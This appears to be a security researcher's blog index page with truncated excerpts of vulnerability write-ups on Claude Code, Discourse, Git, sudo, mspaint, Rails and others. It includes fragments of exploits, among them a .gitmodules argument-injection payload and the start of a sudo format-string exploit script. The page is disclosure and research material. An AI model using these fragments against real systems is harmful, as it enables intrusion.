Recent content on 0day.click
Of course I took a peek at the Claude Code source 🙈. 
 What I found was a very entertaining vulnerability which is now
fixed since Claude Code version 2.1.118. 
 Just wading through the massive codebase manually wasn’t really a
feasible approach. So took an army of AI Agents to…. no wait
actually I did not do that, the following was all manual work. :P 
 I…
Given my interest in SCM and CI systems I was a little keen to see how this is done at Mozilla as part of their bug bounty program .
Thanks to freddy I was granted Level 1 access to Mozilla’s SCM at hg.mozilla.org in late 2022. As Mozilla is a pretty transparent company I found the version-control-tools repository which contains the code and configuration behind hg.mozilla.org . 
 I…
I was staring at this part of the code for way too long already: 
 module Jobs
 
 class ConfirmSnsSubscription < :: Jobs :: Base 
 sidekiq_options retry : false 
 
 def execute (args)
 return unless raw = args [ :raw ]. presence
 return unless json = args [ :json ]. presence
 return unless subscribe_url = json [ 'SubscribeURL' ]. presence
 
 require…
Discourse offers the possibility to install themes from remote Git repositories. Before this commit it was possible to inject OS commands via a maliciously crafted theme which is pulled via Git. 
 The root cause for the issue lay in the parsing of the .discourse-compatibility file 
which is a yaml file containing a mapping of the target discourse version and a git
version to be checked…
While attendig WarCon in 2016
 greg and I sat together in .mario’s talk My
Sweet Innocence Exposed - Eleven Reasons why we will all miss you, “e” , his
rants about MSIE reminded us of the fact that we both had the task of finding a
Mosaic 0day still on our agenda. So the evening after the talk we sat down
together and started approaching that goal. 
 The…
I’ve gotten a couple of questions about exploitation for the
 recent RCE in Git. So here we
go with some technical details. 
 TL;DR 
 Here is a PoC repository. 
 Exploitation 
 The .gitmodules file looks as follows: 
 [submodule 'x:x'] 
 	 path = x:x
 	url = -u./payload 
 The actual command being injected is set by the url, -u./payload…
Summary 
 mspaint.exe does not properly verify Dib data from the clipboard. Therefore
we can craft some Dib data in the clipboard which e.g. suggests a size of
0x100 by 0x100 pixels and contains not more than the Dib header itself. So
the actual image data rendered by mspaint.exe is its own heap data =) 
 PoC 
 Run the following code in PowerShell: 
 $bytes = 40 , 0 , 0…
With the release of Ruby on Rails 4.2 the so called Web Console was introduced. 
 As the Web Console documentation states:
 Web Console is built explicitly for Rails 4. 
 By default the Web Console is available in the Rails Development Environment and allows only the IPs 127.0.0.1 and ::1 to access the console in order to evaluate arbitrary Ruby statements for the purpose of debugging.…
Original gist 
 #!/bin/bash
 # CVE-2012-0809 exploit 
 # joernchen of Phenoelit's version 
 # Payload to be executed goes to /tmp/a (might be a shell script) 
 
 cd /tmp
 /bin/echo '-> Clearing ENV' 
 for i in ` env |cut -f1 -d '=' ` ; do unset $i; done 
 /bin/echo '-> Creating symlink' 
 /bin/ln -s /usr/bin/sudo ./%134520134x%900 \$ n
 /bin/echo '->…
Original gist 
 GitHub RCE by Environment variable injection Bug Bounty writeup
 
 Disclaimer: I'll keep this really short but I hope you'll get the key points.
 
 GitHub blogged a while ago about some internal tool called gerve:
 https://github.com/blog/530-how-we-made-github-fast
 
 Upon git+sshing to github.com gerve basically looks up your permission
 on the…
Original gist 
 This turns https://www.sec-consult.com/files/20120626-0_zend_framework_xxe_injection.txt
 into a Remote Command Execution:
 
 NOTE: It relies on the PHP expect module being loaded
 (see http://de.php.net/manual/en/book.expect.php)
 
 joern@vbox-1:/tmp$ cat /var/www/server.php
 <?
…
This site contains misc stuff I came across in the last decade or so.
Talks and Presentations 
 
 Nullcon Berlin 2025 - Keynote LLMs Everywhere: The future is now and the past keeps repeating itself - Slides 
 OffensiveCon 2025 - Parser Differentials - Video & Slides 
 Invited Talk for Team Bi0s - Argument Injection - Video & Slides 
 HITB GSEC 2018 - Surprise Rant 2.0 Video 
 OffensiveCon 2018 - Surprise Rant Video 
 Ekoparty 2016 - Let…